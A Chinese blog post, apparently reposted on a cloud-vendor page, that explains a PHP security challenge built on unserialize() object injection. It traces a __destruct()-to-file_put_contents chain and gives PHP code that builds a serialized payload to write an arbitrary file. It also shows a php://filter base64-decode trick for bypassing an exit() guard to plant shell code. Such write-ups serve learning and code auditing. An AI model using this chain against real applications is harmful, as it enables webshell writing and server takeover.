关于[技术挑战-2] 转载自黑哥

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: 关于[技术挑战-2]一 背景    此挑战的题目是在学习StefanEsser的最近发布的关于Unserialize()的那些漏洞公告和paper后产生的,在此之前对于Unserialize()引起的这一系列的应用问题我也是一无所知的.

关于[技术挑战-2]

一 背景

    此挑战的题目是在学习Stefan Esser的最近发布的关于Unserialize()的那些漏洞公告和paper后产生的,在此之前对于Unserialize()引起的这一系列的应 用问题我也是一无所知的.学习后发现这类型的问题很多的应用程序存在,尤其是zend firework开发的一些程序,很值得学习,于是就有这个挑战.

    在这之前我也在hi群也进行过类似的exp-me的小问题,如在<关于[PCH-002]> 的blog里,就[SODB-2009-01] 的一个伪代码进行挑战,由于那次的代码太过于直白然后提示很多,导致你用非技术手段就可以测试出结果,吸取上次的经验,这次应该复杂一点,真实一点...

二 设计与挑战

对于那些没有看过Stefan Esser文章的朋友,这个exp-me.php里'设计'了几个看似非似的'漏洞':
  
   1.利用unserialize()/serialize()的'编码与解码'的问题,这个是可以不受magic_quotes_gpc的影响,但是$session直接进了unset() 所以应该不是挑战目标
   2.$sessiondata数组变量没有初始化,可以直接提交$sessiondata['user']进入数据库查询导致'sql注射',但 是$sessiondata['user']有单引号,而受magic_quotes_gpc的影响[当然在不考虑字符集等的一些问题下]
   3.还是利用上面的$sessiondata['user'],同时结合DB_MySQL类里的halt()写文件,或者可以找到什么漏洞,如果你很快就 会发现var $logfile;根本就没定义,所以默认根本没有办法写文件.[开始我是想定义个默认的文件名,然后把$filepath不定义,那样更加逼真,但是那 样可能太浪费挑战者的时间了]
  
   在blog的回复可以看的出来,确实很多人考虑了上面的一些问题,还有人开始怀疑exp-me.php的代码根本就是有问题的.....

   对与看过了Stefan Esser文章的朋友,其实也有一定的难度,因为在他的公告和文章里都是没有直接给出exp的分析也不是很详细,对于这些朋友这个挑战其实就提供了很好的demo,然后结合他的文章,也可以加强对这类漏洞类型的理解....

三 具体分析

首先我们要理解unserialize()/serialize()存在的意义,很多像我一样的'脚本小子'都是自学的半路出家的人,没有参加过什 么大型的php应用程序的开发,所以对于一些函数理解是不够的,了解到某某函数的特性后,有着各种各样的想法,而在nb的程序员眼里,只有一种概念:'我 一直都是那么用它来xxx的啊'.

php手册里:
[---------------引用开始----------------]
serialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

serialize -- 产生一个可存储的值的表示
描述
string serialize ( mixed value )


serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。

当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。

注: 在 PHP 3 中,对象属性将被序列化,但是方法则会丢失。PHP 4 打破了此限制,可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。


unserialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

unserialize -- 从已存储的表示中创建 PHP 的值
描述
mixed unserialize ( string str [, string callback] )


unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE。

[---------------引用结束----------------]


也就是说serialize()可处理除了 resource 之外的任何类型为一个字符串,在通过unserialize()转换回来,我们再看看对object类型处理时说明:

[---------------引用开始----------------]
当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
[---------------引用结束----------------]

也就是说当unserialize()恢复对象时,将自动执行__wakeup() 成员函数.这个就是unserialize()执行类的关键.下面我们看看ryat帮我写的一个简单的demo:

<?php

class ryat {
var $wzt;
function __wakeup() {
echo $this -> wzt;
}
}

$ryat = new ryat();
$ryat -> wzt = 'hi';

$ryat = serialize($ryat);
var_dump($ryat);

$ryat = unserialize($ryat);
//var_dump($ryat);

//$ryat = unserialize('O:4:"ryat":1:{s:3:"wzt";s:2:"hi";}');
//var_dump($ryat);

?>

但是在Stefan Esser的公告里提到的是__destruct(),我们继续看手册:

[---------------引用开始----------------]

构造函数和析构函数
构造函数
void __construct ( [mixed args [, ...]] )


PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
....

为了实现向后兼容性,如果 PHP 5 在类中找不到 __construct() 函数,它就会尝试寻找旧式的构造函数,也就是和类同名的函数。因此唯一会产生兼容性问题的情况是:类中已有一个名为 __construct() 的方法,但它却又不是构造函数。

析构函数
void __destruct ( void )


PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
....

[---------------引用结束----------------]

这个是php5才引进的一个函数,在某个对象的所有引用销毁或者删除是自动执行.

我们回到挑战里的代码exp-me.php:

include 'mysql.php';

$session = unserialize(stripslashes($_COOKIE['_data'])); //测试方便可以修改为$_GET

isset($session)?$sessiondata:$session;
unset($session); //注意这个unset


unserialize()里的参数可以任意提交,调用在mysql.php里是class DB_MySQL,再通过unset($session)后[补充一句在unset是对于exp-me而言,在其他的一些应用程序了这个漏洞的参数不 unset不是必须的,比如程序允许完php会自动注销], 自动执行DB_MySQL类里的__destruct 函数:

    function __destruct() {
       echo $this -> close();
    }

很常见的处理,调用close():

function close() {
     $this->halt('MySQL_Close()');
   return mysql_close($this->link);
}

继续跟halt():

function halt($msg ='', $sql=''){
   global $php_self,$timestamp,$onlineip;
  
   $sqlcontent = "<?PHP exit('Access Denied'); ?>/t$timestamp/t$onlineip/t".basename($php_self)."/t".htmlspecialchars($this->geterrdesc())."/t".str_replace(array("/r", "/n", "/t"), array(' ', ' ', ' '), trim(htmlspecialchars($sql)))."/n";
   file_put_contents($this->logfile, $sqlcontent);
  
   exit;
}

最后到file_put_contents($this->logfile, $sqlcontent);来写文件,那么我们怎么构造$_COOKIE['_data']这个提交给unserialize()的序列的字符串呢?我们可以学习上面那个demo的方法:

<?php
include 'mysql.php';
$DB = new DB_MySQL;
$DB -> logfile = 'hi.php';
$ryat = serialize($DB);
var_dump($ryat);
?>

得到O:8:"DB_MySQL":3: {s:10:"querycount";i:0;s:4:"link";N;s:7:"logfile";s:6:"hi.php";} 当然你如果足够了解它的结构的话,你可以直接构造 :). 通过提交上面的字符串,在根目录就生存了一个hi.php文件,内容为<?PHP exit('Access Denied'); ?>

这里我们重新看看__destruct()/__wakeup()这类函数,是不是还有其他的类似的函数可以自动执行呢?

同样在php手册里找答案:

[---------------引用开始----------------]
Magic Methods
The function names __construct, __destruct (see Constructors and Destructors), __call, __get, __set, __isset, __unset (see Overloading), __sleep, __wakeup, __toString, __set_state, __clone and __autoload are magical in PHP classes. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them.
[---------------引用结束----------------]

有兴趣的朋友可以继续分析下其他Magic Methods有没有办法利用? :)

上面的过程就是这个类型漏洞的产生的流程了.... 下面要解决的就是突破<?PHP exit('Access Denied'); ?>问题,在Stefan Esser的漏洞公告里提到了这个问题,那就是通过转换过滤器来重写这个php文件:

<?php
//$shellcode='PD9waHBpbmZvKCk7Pz4';//<?phpinfo();?>
//$endstr='s'; //对齐<?PHP exit('Access Denied'); ?>/t的base64-decode的位数
//$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?>/t$timestamp");
?>
执行上面的代码,将<?PHP exit('Access Denied'); ?>/t$timestamp经过base64-decode后为乱码写入ryat.php,然后我们通过提交$timestamp把我们shell的代码写进去...

三 小结

   通过上面的分析我们可以总结2个类型的问题:
  
   1.unserialize()执行类导致的安全问题,是不是'漏洞',主要取决于__destruct()/__wakeup()等Magic Methods函数调用的可以完成什么样的功能,在php代码审计时策略是,查找unserialize()和 __destruct()/__wakeup()等,然后具体去分析调用过程.
   2.流过滤器给文件操作带来的安全问题.这个问题以前就有表现,比如include调用流文件,这里又多了一个突破<?PHP exit('Access Denied'); ?>等的方法.这个的前提是file路径或者名称可控.
  
   记得在<高级PHP应用程序漏洞审核技术>一文的第6节里:
  
[---------------引用开始----------------]
    * 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
    * 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
[---------------引用结束----------------]

这2条在本次挑战的问题里有着很好的体会.有心的朋友可以搜索一下,你可以找到很多关于unserialize()执行类的问题如:http://be-evil.org/post-62.html

四 题外话

我开始以为只要有*60的地方就有口水,现在我发现错了,只要有网络的地方就有口水.在本次挑战出来之前,某人就和我说这样会不会引起别人的bs 啊,因为这个问题最开始是别人提出来的.我说不应该把,而且有我也不怕,因为我习惯了....最后还谈到了一个知不知好歹的问题,说实话我真不知道这个挑 战里有什么'好歹'.

看官你知道不?

顺便说下'老外牛x'的这个问题,我也承认'老外牛x',我想全世界的人也应该承认,因为你在老外的眼里也是老外.我是Stefan Esser的fans,他是老外他牛x! 不知道那些经常用google翻译看pst搞的那个planet集合的老外,有没有'老外牛x'的感慨...............


五 参考

http://www.sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/
http://www.suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf           

updata:忙着编辑文章去了,忘记了一个重要的环节,那就是感谢大家的支持,尤其感谢ryat的讨论和指教. thx!

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
人工智能 自然语言处理
AIGC爱好者社区网站——FlowGPT
【2月更文挑战第9天】AIGC爱好者社区网站——FlowGPT
46 4
AIGC爱好者社区网站——FlowGPT
|
4月前
|
数据挖掘 项目管理
技术写作及技术作者的概述和重要性 - 了解技术写
技术写作是指用简单易懂的语言向特定受众解释复杂概念的一种写作形式。这种写作形式通常用于工程、计算机硬件和软件、金融、消费电子和生物技术等领域。技术作者的主要目标是简化复杂信息并以清晰简洁的方式呈现。技术作者的职责可能包括创建操作指南、用户手册、常见问题解答页面、期刊论文和其他技术内容,以帮助用户理解。最终目标是使用户能够轻松理解和掌握新产品或概念。
89 0
|
4月前
|
人工智能 算法 开发者
关于AI版权的讨论
随着人工智能的火爆全网,再加上人工智能技术的不断推广和发展,关于AI创作和生成的内容日益增多,不含一些非常出彩的AI作品,比如最近网上大火的“AI歌手”应用,它就是通过人工智能技术生成和演唱音乐作品,开发者用知名歌手的歌曲作为训练材料,让"AI歌手"能够模仿并演唱其他歌手的歌曲。但是这种相关的版权问题越来越成为大家所关心的事情,那么本文就来简单唠唠关于AI版权相关的内容,欢迎大家在评论区留言讨论。
45 1
关于AI版权的讨论
|
5月前
带你读《“DNS+”发展白皮书(2023)》——专家观点及前言
带你读《“DNS+”发展白皮书(2023)》——专家观点及前言
|
6月前
|
调度 开发工具 Android开发
《移动互联网技术》第一章 概述: 掌握移动互联网的基本概念和组成
《移动互联网技术》第一章 概述: 掌握移动互联网的基本概念和组成
79 0
|
8月前
|
Kubernetes Cloud Native 前端开发
CloudEon入选开源中国最有价值开源项目(GVP)
亲爱的朋友们,CloudEon已成功入选开源中国2023年度最有价值开源项目(GVP),很荣幸能与大家分享这个喜讯。
106 0
|
10月前
|
人工智能 自然语言处理 开发者
魔搭社区,技术领先优秀案例!
魔搭社区,技术领先优秀案例!
466 0
|
人工智能 中间件 程序员
冰河指南技术社区基于ChatGPT正式启动运营!
大家好,我是冰河~~ 最近ChatGPT真的太火了,科技圈几乎都在争相报导这个黑科技,它能够通过学习和理解人们的语言来和人类进行对话,能够与人们进行交流,甚至可以对你提出的问题进行分析,尽可能给出你想要的答案。还能够自动写论文、写代码等等,真的挺强大的,说到这里,不禁心里会感慨一声:AI都可以写代码了,难道程序员真的要失业了吗?
117 0
|
存储 人工智能 大数据
本文带你了解透彻云计算(前世,今生,未来)
对于云计算,我们将会通过云计算的前世,今生,未来,特点,原理等几个方面进行讲解。
1390 1
本文带你了解透彻云计算(前世,今生,未来)
|
移动开发 weex 流计算
阿里的开源思想:与世界讨论中国的互联网技术与场景
阿里的开源思想:与世界讨论中国的互联网技术与场景
1370 0